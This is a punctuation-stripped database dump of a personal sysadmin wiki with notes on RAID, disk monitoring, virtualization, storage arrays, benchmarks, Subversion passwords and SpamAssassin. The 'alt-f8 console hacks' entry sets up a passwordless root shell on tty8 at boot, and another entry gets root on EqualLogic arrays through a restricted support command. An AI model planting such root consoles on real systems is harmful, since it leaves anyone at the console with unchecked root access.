sda1 dev sdb1 dev sdc1 dev sdd1 mdadm -e dev sda1 mdadm --zero-superblock dev sdj1 mdadm --assemble dev md1 dev hdb5 dev sda3 then add --force and --run as needed ;o mdadm --detail --scan etc mdadm conf good sites good sites good sites '),(314,'kelby jmx zip',' jmeter config for kelby cluster '),(315,'jmeterrendered',' '),(316,'house hunting',' knoxville knoxville knoxville links to potential homes house hunting sites house hunting sites house hunting sites '),(317,'openmp parallel programming',' tutorials & forums excellent resources and intro tutorials on mpi and parallel computing can be found at the lawrence livermore national lab site books books books  using openmp portable shared memory parallel programming  isbn-13 978-0262533027 sample chapters for the above are available online here  parallel programming with mpi  paperback peter pacheco author isbn-13 978-1558603394 '),(318,'lisi e8 theory',' blog post about e8 and making a flash simulator flash e8 simulator more on lisi and e8 theory '),(319,'alt-f8 console hacks',' in a secure environment having fast access to servers can be a good thing it allows very very fast support without having to wait for credentials etc yes some could argue how very disconcerting this is - but consider the fact that this assumes you already have physical access to the server in which case all other bets are already off so how do you set up instant root well it depends on your flavor of nix but here are a few ideas red hat centos red hat centos red hat centos super simple just add this line to etc rc local usr bin openvt -c 8 bin bash this opens a virtual terminal and assigns it as tty8 now when you hit ctlr-f8 you get a root shell done debian ubuntu debian ubuntu debian ubuntu debian debian\'s rc local is not the same as red hats for debian systems create a cusotmer script and assign the run levels it is active in by cd etc init d vim rc custom this should contain # bin bash usr bin openvt -c 8 bin bash chmod x rc custom update-rc d rc custom defaults etc init d rc custom start ps aux grep bash will show something like the below indicating bash is running on tty8 opensuse opensuse opensuse freebsd opensolaris opensolaris opensolaris '),(320,'selinux',' a decent intro tutorial can be found here an alternative is grsecurity '),(321,'network traffic capture',' wireshark of course but also these are handy tools  capturing post submitted data  '),(322,'vpnc client',' browser traffic once connected your default route is set to the vpn interface tun0 ppp0 etc and all traffic is thus sent to it in order to direct only internal traffic to the vpn and all other traffic outside you need to reset your default gateway and define static routes for internal traffic such as netstat -r route add default gw 192 168 1 1 netstat -r ping 10 100 11 10 route add -net 10 100 0 0 netmask 255 255 0 0 dev ppp0 ping 10 100 11 10 these can be set in the vpnc configuration under routes choose keep not replace existing default route and add any static routes needed more info on configuring vpnc can be found at the excellent gentoo wiki which also has some info on splitting up dns requests for internal vs external traffic '),(323,'cuda applications',' here are some fun applications which take advantage of parallel processing using nvidia nvidia\'s cuda architecture distributed computing distributed computing distributed computing gpugrid gpugrid net is a novel distributed supercomputing infrastructure made of many nvidia graphics cards joined together to deliver high-performance all-atom biomolecular simulations seti the classic distributed computing app for cuda collatz conjecture distributed mathematics security hacking security hacking security hacking pyrit wpa wpa2-psk and a world of affordable many-core platforms rainbox crack rainbowcrack is a general propose implementation of philippe oechslin oechslin\'s faster time-memory trade-off technique it cracks hashes with rainbow tables  amazon gpu instances  using amazon amazon\'s ec2 gpu instances to crack sha1 hashes is described here applied research applied research applied research an interesting paper titled  accelerating reed-solomon coding in raid systems with gpusu8e2809d by matthew curry lee ward tony skjellum and ron brightwell ipdps 2008  is described in this post '),(324,'smartd drive monitoring',' smartd drive health monitoring see man smartd for full details to add a test email add -m test here is an example of a custom test # dev sdd -d sat -s on -o on -a -i 194 -s l 01 15 10 -m test -m noc esnet com # pete pete\'s test enable offline tests monitor error and selfttest and all attributes except temp run a # long offline test on the 1st and 15th of each month at 10am and email results add -m test and run # smartd -q showtests to see scheduled test dev sdb -d sat -s on -o on -l error -l selftest -t -i 194 -i 9 -s l 01 15 10 -m blah yack com to show what tests are scheduled in etc smartd conf run #smartd -q showtests next scheduled self tests at most 5 of each type per device device dev sdb will do test 1 of type l at sun aug 15 10 20 28 2010 edt device dev sdc will do test 1 of type l at sun aug 15 10 20 28 2010 edt device dev sdd will do test 1 of type l at sun aug 15 10 20 28 2010 edt device dev sde will do test 1 of type l at sun aug 15 10 20 28 2010 edt mdadm monitoring mdadm monitoring mdadm monitoring to also monitor the health of a software raid you can use mdadm mdadm\'s monitor facility to test it root obm # mdadm --monitor --scan --mail blah yack com dev md0 -t -1 set up a cron job root obm # crontab -l 15 sbin mdadm --monitor --scan --mail blah yack com dev md0 -1 '),(325,'ti ez430 chronos',' '),(326,'linux on 64 bit architectures',' how to install different architecture binaries on linux '),(327,'cultural anthropology',' garbage project fascinating project which has produced interesting findings by studying landfill refuse here is an interesting ny times book review of we are what we throw away which discussed the project further other anthropological garbage sites literacy levels literacy levels literacy levels  readability analyzers  command line tools style and diction openoffice plugin '),(328,'virt-manager tips',' virt-manager to launch virt-manger locally and initiate a connection to a remote system system\'s hypervisor use paracelsus callandor virt-manager -c qemu ssh user host com 22 system virt-viewer -c qemu ssh user 192 168 1 11 system guestvm note that you will need ssh-askpass installed to properly authenticate you can also run virt-manager and connect configure a new connection using ssh from the gui like this  note   you will need to copy iso images to var lib libvirt images on the remote server in order to locate them in gui when creating a new vm - see this bug also see  note   general kvm virtualization documentation is found here virt-manager x forwarding virt-manager x forwarding virt-manager x forwarding  note   a great resource in general for troubleshooting xforwarding issues can be found here an odd issue comes up when you attempt to x forward virt-manager to some clients virt-manager will start but will not forward to the remote display all other apps will forward and display fine there are no issues with display etc this issue is commonly reported to be resolved by stating the full path to virt-manager - but this was not the problem in this case i described this issue in this post running ssh -v and then launching virt-manager showed debug1 confirm x11 x11 connection rejected because of wrong authentication debug1 channel 2 free x11 nchannels 3 the application \'virt-manager py\' lost its connection to the display localhost 12 0; most likely the x server was shut down or you killed destroyed the application that lead me to this post which had a solution and a good explanation as well so what worked was directing to my own xauthority when sudoing like xauthority xauthority sudo virt-manager i\'ll quote the explanation here as i found it useful miloslav trmau8c48d 2007-05-16 07 23 35 edt this happens because ssh uses the default xauthority file and does not set xauthority so libxau uses home xauthority sudo changes the uid but not home so the original home xauthority is still used then userhelper or su - use the pam_xauth module pam_xauth does not use home xauthority but invoking user user\'s home directory xauthority i e root xauthority which does not exist so pam_xauth should be using home xauthority if xauthority is not set and home xauthority is readable by the invoking user you can use xauthority xauthority sudo virt-manager as a work-around note this does not explain really why this is necessary when connecting from a suse 11 3 box but the same does not occur when connecting from a rhel 5 or fedora box since this issue is apparently related to which xauthority is being used on the server side you would think it would apply to all clients connecting however in practice that is not the case iptables iptables iptables guests may not be able to resolve dns or use dhcp unless iptables is configured on the host for example here tcpdump on a guest os shows admin prohibited messages when trying to host a domain in addition to this dhcp requests just timed out #host google com tcpdump 09 53 03 770391 ip 128 219 248 24 ciscocsdb 160 91 1 32 domain 7384 a google com 28 09 53 03 770491 ip 128 219 248 27 128 219 248 24 icmp host 160 91 1 32 unreachable - admin prohibited length 64 i found the solution in this post which was to add an iptables rule to the forward chain to accept traffic on the virtual interface my iptables then contained -a input -j rh-firewall-1-input -a forward -m physdev --physdev-in vnet0 -j accept -a forward -j rh-firewall-1-input -a rh-firewall-1-input -i lo -j accept you can also look at editing your etc xen scripts vif-common sh to have this done automatically also see that notes here under \'virtual network\' kvm and networking kvm and networking kvm and networking to get dhcp and dns working correctly through the host i followed the bridged networking section of this guide also these are while this one on is for xen it is also still interesting xml guest config files xml guest config files xml guest config files these are located at etc libvirt qemu the format and options of which are defined here kvm command line kvm command line kvm command line managing kvm guests managing kvm guests managing kvm guests debugging libvirt issues debugging libvirt issues debugging libvirt issues here are some very helpful sites  logging   quick answer from links above echo -e log_level 1 nlog_outputs 1 file var log libvirt libvirtd log etc libvirt libvirtd conf && service libvirtd restart see info in etc libvirt libvirtd conf and the links for full details '),(329,'distributed file systems',' luster luster luster hpss from the official site  hpss is software that manages petabytes of data on disk and robotic tape libraries hpss provides highly flexible and scalable hierarchical storage management that keeps recently used data on disk and less recently used data on tape hpss uses cluster lan and or san technology to aggregate the capacity and performance of many computers disks and tape drives into a single virtual file system of exceptional size and versatility this approach enables hpss to easily meet otherwise unachievable demands of total storage capacity file sizes data rates and number of objects stored   '),(330,'equallogic storage arrays',' documentation pretty good guide here getting root getting root getting root i discovered the below trick from here and here how to get more detailed information out from behind the magic curtain of the equal logic storage arrays 1 telnet ssh into the device using the grpadmin user and pw 2 from the management cli prompt run su exec bash 3 you are now root 4 there are various tools in bin and sbin such as cachetool very cool and multiple disk utilities such as diskcheck disktool diskview etc they all have u8e28093h help pages you can get smart information on the drives check for bad blocks view error counts etc examples of a few commands with select output follow we could easily script various checks to be run to monitor key smart attributes ourselves etc unfortunately certain other binaries hdparm bonnie etc are not installed though we might be able to port them over from another netbsd system compile them statically etc note the cachetool command provides extensive output on various cache and performance counters and tunables and has several options daac su exec bash you are running a support command which is normally restricted to ps series technical support personnel do not use a support command without instruction from technical support cli-child-3 2# diskview -a 0 the drive has had 38900844 ios issued to it and 0 errors access based on percent region of the drive below 0 - 25 27 6 10735136 percent count no errors 25 - 50 24 7 9608585 percent count no errors 50 - 75 24 7 9612780 percent count no errors 75 - 100 23 0 8944343 percent count no errors cli-child-3 2# diskview -i 0 cli-child-3 2# diskview -b 47 attr id 0x05 5 reallocated_sector_count status 0x0033 pre_failure_advisory on_line_collection event_count self_preserving value 100 worst 100 raw 0x000000000000 attr id 0xc5 197 pending_defects status 0x0012 on_line_collection event_count value 100 worst 100 raw 0x000000000000 cli-child-3 2# diskcheck -d 47 diskcheck - started 09 29 2010 11 29 15 diskcheck - passive scan will be disabled while diskcheck is operating '),(331,'drive performance results',' acer aspire one acer aspire one crappy intel ssd - ssdpamm0008g1 dmesg scsi 1 0 0 0 direct-access ata ssdpamm0008g1 ver2 pq 0 ansi 5 sd 1 0 0 0 sda 15761088 512-byte hardware sectors 8070 mb lspci 00 1f 2 ide interface intel 82801gbm ghm ich7 family sata ide controller rev 02  bonnie results   version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 1g 3865 83 6913 4 5677 5 3806 81 36520 17 1260 8 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 964 84 31290 74 999 81 3944 88 localhost 1g 3865 83 6913 4 5677 5 3806 81 36520 17 1260 4 8 16 964 84 31290 74 999 81 3944 88  hdparm test on same   root localhost # hdparm -tt dev sda dev sda timing cached reads 622 mb in 2 00 seconds 310 90 mb sec timing buffered disk reads 108 mb in 3 01 seconds 35 91 mb sec ssd and sdhc benchmarks ssd and sdhc benchmarks ssd and sdhc benchmarks benchmarks were run for the below device types hdparm tests are first followed by bonnie results ocz technology 2gb 150x sd card oczsd150-2gb ultra brand 2gb sd card ult40251 91007258f-2gb-ch mmcblk0 - ocz technologies 2gb 150x sdhc right reader mmcblk1 - ultra brand name 2gb sdhc left reader sda internal ssd sdb - 1gb usb stick usb hdparm results for above devices root localhost # hdparm -tt dev mmcblk0 dev mmcblk0 timing cached reads 1228 mb in 2 00 seconds 614 50 mb sec timing buffered disk reads 32 mb in 3 09 seconds 10 36 mb sec root localhost # hdparm -tt dev mmcblk1 dev mmcblk1 timing cached reads 1230 mb in 2 00 seconds 615 42 mb sec timing buffered disk reads 32 mb in 3 17 seconds 10 10 mb sec root localhost # hdparm -tt dev sda dev sda timing cached reads 1228 mb in 2 00 seconds 614 14 mb sec timing buffered disk reads 104 mb in 3 02 seconds 34 46 mb sec root localhost # hdparm -tt dev sdb dev sdb timing cached reads 1240 mb in 2 00 seconds 620 08 mb sec timing buffered disk reads 74 mb in 3 04 seconds 24 35 mb sec bonnie results for each of the above devices below ocz technologies 2gb 150x sdhc root localhost # bonnie -u 0 -r 100 -d media disk version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 8895 90 10014 7 4218 4 6466 67 10536 3 2456 11 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 46 97 114 50 581 96 78 97 117 97 192 97 localhost 300m 8895 90 10014 7 4218 4 6466 67 10536 3 2456 4 11 16 46 97 114 50 581 96 78 97 117 97 192 97 ultra 2gb sdhc root localhost # bonnie -u 0 -r 100 -d media disk-1 version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 6172 64 6866 5 3347 3 6194 64 10222 4 2422 10 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 46 97 113 97 584 97 76 97 115 97 189 97 localhost 300m 6172 64 6866 5 3347 3 6194 64 10222 4 2421 8 10 16 46 97 113 97 584 97 76 97 115 97 189 97 internal ssd version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 9725 96 13982 6 6520 5 7192 71 21220 8 4024 20 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 2607 97 2870 95 9465 94 localhost 300m 9725 96 13982 6 6520 5 7192 71 21220 8 4023 6 20 16 2607 97 2870 95 9465 94 version 1 03 ------sequential output------ --sequential input- --random- -per chr- --block-- -rewrite- -per chr- --block-- --seeks-- machine size k sec cp k sec cp k sec cp k sec cp k sec cp sec cp localhost 300m 656 7 618 0 353 0 8496 80 25164 10 2848 16 ------sequential create------ --------random create-------- -create-- --read--- -delete-- -create-- --read--- -delete-- files sec cp sec cp sec cp sec cp sec cp sec cp 16 45 97 109 94 532 95 73 96 112 96 184 96 localhost 300m 656 7 618 0 353 0 8496 80 25164 10 2847 8 16 16 45 97 109 94 532 95 73 96 112 96 184 96 device identification device identification device identification misc info on how the hardware is identified etc root localhost # ls -lha dev disk by-id total 0 drwxr-xr-x 2 root root 280 2008-11-05 17 57 drwxr-xr-x 6 user root 120 2008-11-05 17 41 lrwxrwxrwx 1 root root 9 2008-11-05 17 41 ata-ssdpamm0008g1_cvpa8272826dr - sda lrwxrwxrwx 1 root root 10 2008-11-05 17 41 ata-ssdpamm0008g1_cvpa8272826dr-part1 - sda1 lrwxrwxrwx 1 root root 10 2008-11-05 17 41 ata-ssdpamm0008g1_cvpa8272826dr-part2 - sda2 lrwxrwxrwx 1 root root 13 2008-11-05 17 41 mmc-sd02g_0xae43de1e - mmcblk1 lrwxrwxrwx 1 root root 15 2008-11-05 17 41 mmc-sd02g_0xae43de1e-part1 - mmcblk1p1 lrwxrwxrwx 1 root root 13 2008-11-05 17 42 mmc-sd02g_0xb000fef0 - mmcblk0 lrwxrwxrwx 1 root root 15 2008-11-05 17 42 mmc-sd02g_0xb000fef0-part1 - mmcblk0p1 lrwxrwxrwx 1 root root 9 2008-11-05 17 41 scsi-sata_ssdpamm0008g1_cvpa8272826dr - sda lrwxrwxrwx 1 root root 10 2008-11-05 17 41 scsi-sata_ssdpamm0008g1_cvpa8272826dr-part1 - sda1 lrwxrwxrwx 1 root root 10 2008-11-05 17 41 scsi-sata_ssdpamm0008g1_cvpa8272826dr-part2 - sda2 lrwxrwxrwx 1 root root 9 2008-11-05 17 57 usb-sandisk_cruzer_0572930c9fc29a16-0 0 - sdb lrwxrwxrwx 1 root root 10 2008-11-05 17 57 usb-sandisk_cruzer_0572930c9fc29a16-0 0-part1 - sdb1 '),(339,'core wars',' intro from the core wars faq core war is a game played by two or more programs and vicariously by their authors written in an assembly language called redcode and run in a virtual computer called mars for memory array redcode simulator the object of the game is to cause all processes of the opposing program to terminate leaving your program in sole posession of the machine get core war get core war get core war  pmars use this   wget wget or source and some binary packages here but are pretty old and 32 bit only  running 64 bit   if you try to compile the source and get the message glib 1 2 0 not installed - cannot build gui client without it despite having glib2-devel installed it seems to be looking for the glib-config script which was replaced in later glib versions with pkg-config as described here you might be able to use the 32 bit dev package as described here though i\'ve not tried it  using debian ubuntu   you can download the source and build it on 32 bit ubuntu 10 04 i had no trouble with \'cd src\' and then just \'make\' which resulted in the pmars binary being correctly built it may fail on 64 bit as described above you can then do a sample run with two warriors like mieren mieren-ubuntu pmars-0 9 2 src pmars warriors aeka red warriors rave red the default option in the makefile built in x11 support automatically i believe there is an ncurses option too you can also use alien to make a deb from the rpm and just install that  running windows   really windows well - okay let let\'s talk at the next meeting okay but if you must you can likely find some windows binaries here sample run sample run sample run sample run using two provided warriors pae callandor pmars -r 3 usr share doc pmars-0 9 2 warriors aeka red usr share doc pmars-0 9 2 warriors rave red documentation documentation documentation start with corewar-faq html in the doc directory if installed from source or usr share doc pmars-0 9 2 doc corewar-faq html if from rpm then move on to this beginners guide and other guides found here additional documentation can be found here competition competition competition various competitions can be held such as this king of the hill one here other simulators other simulators other simulators  nmars  looks interesting but needs net mono '),(340,'openoffice tools and tips',' openoffice is a great open source office suite i constantly recommend it to people as a substitute to commercial products sometimes new users need help getting started with it though and i\'ve also come across various plugins and tips in using it which others may find helpful tutorials tutorials tutorials plan b for openoffice has some great video tutorials for beginners mendeley mendeley mendeley there is an open office plugin for mendeley desktop which makes inserting citations from papers in you mendely collection an utter dream you can learn more about this plug in and mendely here readability readability readability readability analyser is a plug in which will perform a readability scoring analysis of selected text and return flesch-kincaid and fog readability scores as well as other information to install unzip and open the readability_installer sxc file in openoffice enable macro execution if prompted i had to install it as an addon item for the installer to work after which it shows up in tools -- add-ons -- readability readability report is an extension which also does scoring this require java extensions for open office when i first tried to install it i got the error com sun star uno runtimeexception message jni_unobridge error in my case i had to go to menu - tools - options - java and actually check the detected java runtime environment similar to this post turns out it is not enabled by default who knew per the site once the extension is installed a tool bar will appear with 4 buttons for \'readability report\' \'brain overload report\' \'cohesion report\' and \'detailed report\' if it is not there select view from the menu bar then toolbars and \'add-on 1\' version 2 requires around 1gb of memory if you don\'t have that try the earlier version which doesn\'t include the brain overload and coherence reports and is run by selecting \'readability\' from the menu bar note the command line tool \'style\' also give flesch scores and a host of other information - though it only works on ascii files \'diction\' is another interesting command line tool for writing analysis note2 these tools return slightly different scores when run against the same material it appears that may be due to both slightly different score models and terminology being used as well as variation in the algorithms applied formatting layout etc formatting layout etc formatting layout etc this site has some basic information on paragraph spacing this linux journal article on page layout and spacing is pretty good '),(341,'assembly programming',' documentation a specific linux version of the book the art of assembly language programming is available for download here this article has a good description of at&t vs intel assembly syntax and an intro guide to using syscalls and inline asm in gcc tutorials tutorials tutorials the site has links to a lot of additional documentation and tutorials compiling with gcc compiling with gcc compiling with gcc did you know you can compile your c c into asm and view the results it is very easy for example comes from here gcc -s -c foo c will produce foo s if you want to see the c code together with the assembly it was converted to use a command line like this gcc -c -g -wa -a -ad other gcc options foo c foo lst projects projects projects though it is not true assembly you might want to check out core wars a game based on creating warrior bots in redcode a pseudo-assembly language '),(342,'interesting exploits',' find out find out find out here are some handy sites to research cves am i patched am i patched am i patched find our if a package has been patched against a particular cve by using rpm and looking at the changelog as described here cve-2010-3301 rhel 64 bit ia32 syscall cve-2010-3301 rhel 64 bit ia32 syscall cve-2010-3301 rhel 64 bit ia32 syscall very interesting 64-bit exploit which was backported quite a ways cve-2010-2959 linux kernel controller area network integer overflow cve-2010-2959 linux kernel controller area network integer overflow cve-2010-2959 linux kernel controller area network integer overflow ubuntu 10 04 32-bit was the target here rhel was not affected as their kernel lacked support for broadcast manager bcm protocol '),(343,'postgre sql database',' here is a good quick start guide though not limited to postgre this is an interesting site on using phps pdo functions sample connection sample connection sample connection php try db new pdo pgsql dbname mydatabase;host localhost user password ; echo pdo connection object created ; catch pdoexception e echo e- getmessage ; '),(344,'drupal',' config files sites default settings php databases databases databases postgre sql postgre sql postgre sql see this site for an example the pg_hba conf file in postgres controls access with the enterprisedb version it is typically located someplace like opt postgresplus 8 4ss data pg_hba conf an example pg_hba conf file would be # type database user cidr-address method # local is for unix domain socket connections only local all all trust # ipv4 local connections host all all 160 91 28 0 24 md5 # ipv6 local connections host all all 1 128 md5 '),(345,'kde plasmoids',' plasmoid tips plasmoid tips plasmoid tips plasmoids can be installed as packages further you can run them in plasmoid-viewer to help debug the see this post for more info development development development here is a guide to getting started with kde plasmoid development '),(346,'gnutls configuration',' intro gnutls allows you to host multiple ssl sites on one ip address each site can have it it\'s own certificate or you can just share one wildcard cert between them all who cares because sometimes you don\'t have free ips to burn and this lets you conserve them however there are a few tricks to it guides guides guides if you are not already with hoe regular ssl is configured in apache you might want to start here a really good guide to setting up mod_gnutls can be found here getting mod_gnutls getting mod_gnutls getting mod_gnutls i found the only binary for rhel 5 i could find was from however it was quite old and i had to build both gnutls and mod_gnutls from source but there were a few tricky points building gnutls building gnutls building gnutls after building make sure you add the following line to etc ld so conf or building mod_gnutls will fail usr local lib to etc ld so conf and of course update with ldconfig building mod_gnutls building mod_gnutls building mod_gnutls libgnutls header file version 2 10 0 does not match library version 1 4 1 configure error point it to the libraries for the version of gnutls installed about by exporting the following path assuming your gnutls are in usr local lib pkgconfig root edss-collab mod_gnutls-0 5 9 # export pkg_config_path usr local lib pkgconfig pkg_config_path thanks to this post for that tip next we have checking for libgnutls - version 2 10 0 no could not run libgnutls test program checking why the test program compiled but did not run this usually means that the run-time linker is not finding libgnutls or finding the wrong version of libgnutls if it is not finding libgnutls you\'ll need to set your ld_library_path environment variable or edit etc ld so conf to point to the installed location also make sure you have run ldconfig if that is required on your system and if you get this one make sure you added the path to your ld so conf as above after you have run make and successfully compiled you might want to use checkinstall to create a rpm however i had trouble with the resultant rpm it would not install giving errors about selinux paths that can be avoided using the great tip i found here with checkinstall -r --exclude selinux selinux context version check version check version check root edss-collab conf d # gnutls-cli -v gnutls-cli gnutls 2 10 0 root edss-collab modules # ldd etc httpd modules mod_gnutls so what did you link against libgnutls-config this is actually part of gnutls-devel-1 4 1-3 el5_4 8 you likely did not build it vhost config vhost config vhost config browser issues certificate issues certificate issues certificate issues ca signed certs '),(347,'subversion password management',' when connecting to a subversion repository using the command line the svn client will ask if you want to store your password unencrypted on disk this of course is a bad idea this article shows you how to tell if you have unencrypted subversion passwords stored on your machine and also how to set up a secure method of storing them if you are using gnome or kde subversion 1 6 implements several security improvements including integrating the use of encryption key rings and other features as is discussed here password storing prompt password storing prompt password storing prompt unless users have configured their subversion config to never store passwords they are presented with the following message for each subversion session note subversion 1 4 on red hat 5 5 by default does not ask this and the users password is stored in plain text without their knowledge you must configure your subversion client to not store passwords locally ----------------------------------------------------------------------- attention your password for authentication realm usanpn subversion and trac repositories at ornl can only be stored to disk unencrypted you are advised to configure your system so that subversion can store passwords encrypted if possible see the documentation for details you can avoid future appearances of this warning by setting the value of the \'store-plaintext-passwords option to either \'yes or \'no\' in \' home pae subversion servers ----------------------------------------------------------------------- store password unencrypted yes no yes here the user entered yes and thus their ucams password is now stored on their local system unencrypted do you have unencrypted passwords do you have unencrypted passwords do you have unencrypted passwords to find out if you have ever accidentally stored unencrypted passwords simple do the following here we will look for any simple authenticaion files which contain our user id these files will also contain your password in clear text for example pae callandor cd pae callandor grep -r pae subversion subversion auth svn simple 95917e31cca108174d1545556edce524 pae pae callandor cat subversion auth svn simple 95917e31cca108174d1545556edce524 this shows one file which contains the password for user pae simple delete this file in fact - you can safely delete every thing in this directory as essentially any files in here are bad you can look at them of course pae callandor rm subversion auth svn simple storing passwords securely storing passwords securely storing passwords securely if you are using a linux box with gnome or kde you can easily configure the subversion command line client to store your passwords in either gnome-keyring or kwallet this is simply a matter of editing subversion config and uncommenting the appropriate line regarding this such as password-stores gnome-keyring kwallet note this file is very picky when it comes to whitespace the above line can not have a space at the very begining no lines in this file can or it will produce an error such as pae callandor svn ls svn home pae subversion config 16 option expected note you will need the required packages which tie the subversion command line client into gnome-keyring or kwallet the names of these are given below for a few distros  red hat  amazingly by default red hat 5 5 just automatically stores the users password the first time it is entered no prompt is given it is simply stored without the users knowledge this action can be disabled by editing subversion config and adding store-passwords no no white space at the beginning oddly the subversion-gnome subversion-kde package seems to have disappeared from rhel repos you can find the rpms at rpm pbone net but they are for fedora 10 and later and are based on subversion 1 6 of course red hat 5 5 is still using subversion 1 4 and thus the above can not be installed nice per this post this is resolved in fedora 13 and i imagine we will see in in rhel 5 6 and or 6 this however is a fairly significant security issue we should be able to address this easily enough though with cfengine and modify all existing subversion config files as needed  suse  very easy to set up from this post i found the packages in suse are readily available and are called libsvn_auth_gnome_keyring-1-0 libsvn_auth_kwallet-1-0  ubuntu  not sure yet  os x  i believe this also stores the password without asking however per this post it appear to store it in the key chain - though i\'ve yet to confirm this other references other references other references for solutions to implement server-side when using a client there and wanting to store passwords see this post it also mentions python bindings for the keyrings too which could come in quite handy for scripts '),(348,'spamassassin and spamc',' tests performed here is a good list of tests that spamassassin performs spamc spamc spamc worried your emails to someone might be getting flagged as spam spamassassin is very widely used so it would be nice to know what your outgoing email might score when it hits a spamassassin server this is actually easy to test you can test an email message by feeding it into spamc and seeing the score and what rules it triggers just copy your entire email address including all headers into a text file send an email to yourself etc so as to get all relays and headers etc for example here we see a message being fed into spamc which contains the gtube string xjs c4jdbqadn1 nsbn3 2idnen gtube-standard-anti-ube-test-email c 34x which results in very spamy spam callandor usr share doc packages perl-mail-spamassassin # spamc -c -y sample-spam txt 1000 0 5 0 callandor usr share doc packages perl-mail-spamassassin # spamc -y sample-spam txt gtube no_received no_relays see the official documentation for spamc to learn more '),(349,'evolution mail client',' exchange integration exchange integration exchange integration ldap  ldap address book  you can easily add an ldap server as an address book see this guide for an example by default evolution does not auto-complete email address when typing in the to field you can enable this under edit -- preferences -- contacts and check the autocompletion box - and make sure to check the ldap server as well in the list shown '),(350,'arduino projects',' kde kst & arduino live measurements kde kst & arduino live measurements kde kst & arduino live measurements this project comes from linux journal issue 196 tie an arduino into kde kde\'s kst kst2 graphing tool to create graphs of live measurements very easy project feature the dallas one wire temperature sensor the required libraries for using the sensors created by miles burton are available here add an xbee to this and other sensors and create your own customized wireless embedded monitor and control system lots of possibilities here '),(351,'large partitons in linux',' when using partitions larger than 2tb in linux you must create a gid partition table using parted the ms-dos partition tables created with fdisk will not work on volume larger than 2tb here is an example process to discover a iscsi identifier for a large 10tb lun partition it with gparted and set it up for use with lvm2 find your identifier root server # iscsiadm -m discovery -t st -p 192 168 83 8 3260 192 168 83 8 3260 1 iqn 2001-05 com equallogic 0-8a0906-1340b8201-917003ad3e14cc1e-daac-psql-data add the above to etc iscsi nodes then mount it root server # iscsiadm -m node --targetname iqn 2001-05 com equallogic 0-8a0906-1340b8201-917003ad3e14cc1e-daac-psql-data -p 192 168 83 8 --login partition with parted note unlike fdisk the commands entered in parted take effect immediately you do not write to commit them at the end root server # parted dev sdx parted mkpart primary 0 10000gb parted print parted quit set it up for lvm a good guide for lvm options can be found here you may want to use the -s option with vgcreate which sets the size of the pes default is 4 mb and the value can be any 2 value up to 256mb root server # pvcreate dev sdx1 root server # vgcreate psql_vg dev sdx1 root server # vgscan root server # lvcreate -l 9000gb -n psql_lv psql_vg root server # lvscan partition reserving only 2 of blocks for root root server # mkfs ext4 -m 2 dev psql_vg psql_lv note using ext4 yet yum install e4fsprogs will fix that for you make sure you update etc fstab is used '),(352,'postgres tools and tips',' reference sites quickreference guide is pretty handy '),(353,'advanced format hard drives',' intro hard drive manufacturers are beginning to implement advanced format 4k sector sizes in newer drives benefits of using 4k sectors will be realized more in the future as this will allow for higher platter densities leading to larger capacity drives and lower cost per gig larger physical sectors also allow for improved ecc algorithms to be employed however there are  significant  performance degradations which can occur if these drives are used in systems and this not taken into consideration such can manifest in many ways increased formatting time poor i o performance and other incompatibilities at this time advanced format drives are likely to be seen in newer desktop systems however the industry is rapidly adopting this standard and through 2010 we can expect to see these drives becoming the new standard soon even drives sold as enterprise or raid categories will be moving to this new format and in the near future drives shipped with new servers and replacement drives should always to inspected to determine if the are af drives currently os installers do not automatically expect nor do they check for the presence of these drives and when default settings are used you get unaligned partitions and performance problems this will affect systems at the lab in different ways see the section impact on lab systems for more details the problem the problem the problem this is described so well by roderick smith in his ibm developer article that i will borrow from it here  most modern file systems use data structures that are 4096 bytes or larger in size thus most disk i o operations are in multiples of this amount consider what happens when linux wants to read or write one of these data structures on a new disk with 4096-byte sectors if the file system data structures happen to align perfectly with the underlying physical partition size a read or write of a 4096-byte data structure results in a read or write of a single sector the hard disk disk\'s firmware doesn\'t need to do anything extraordinary; but when the file system data structures do not align perfectly with the underlying physical sectors a read or write operation must access two physical sectors for a read operation this takes little or no extra time because the read write head on the disk most likely passes over both sectors in succession and the firmware can simply discard the data it doesn\'t need writes of misaligned data structures on the other hand require the disk disk\'s firmware to first read two sectors modify portions of both sectors and then write two sectors this operation takes longer than when the 4096 bytes occupy a single sector thus performance is degraded   how big of a deal is this how big of a deal is this how big of a deal is this the effects differ depending on the os and filesystem being used again the above ibm article gives an example of the performance difference between aligned and unaligned partitions  the biggest write performance effects occurred with small file creation extracting the kernel tarball effects on tarball extraction ranged from 1 04 for ext4fs to 25 53 for reiserfs with a mean of 10 9 the second-best performer in this test was xfs with a figure of 1 82 because these figures are ratios of unaligned to aligned performance a value of 10 9 means that a tarball extraction that takes 10 seconds on a properly aligned partition takes 109 seconds on an improperly aligned partitionu8e28094a huge difference   further performance comparisons between aligned and unaligned partitions can be found at this site as well they are considerable partition alignment partition alignment partition alignment as described above when the os data structures being read written to the physical media are not in alignment especially with writes problems occur this is easily remedied by ensuring that partition boundaries start on sectors which are divisible by 8 by default this is not the case for example linux typically starts the first partition after the mbr at sector 63 as fdisk -l -u will show for example root daac-ws04 # fdisk -l -u disk dev sda 250 0 gb 250000000000 bytes 255 heads 63 sectors track 30394 cylinders total 488281250 sectors units sectors of 1 512 512 bytes device boot start end blocks id system dev sda1 63 208844 104391 83 linux dev sda2 208845 488279609 244035382 8e linux lvm here both the boot and lvm partitions are unaligned the start sectors are not 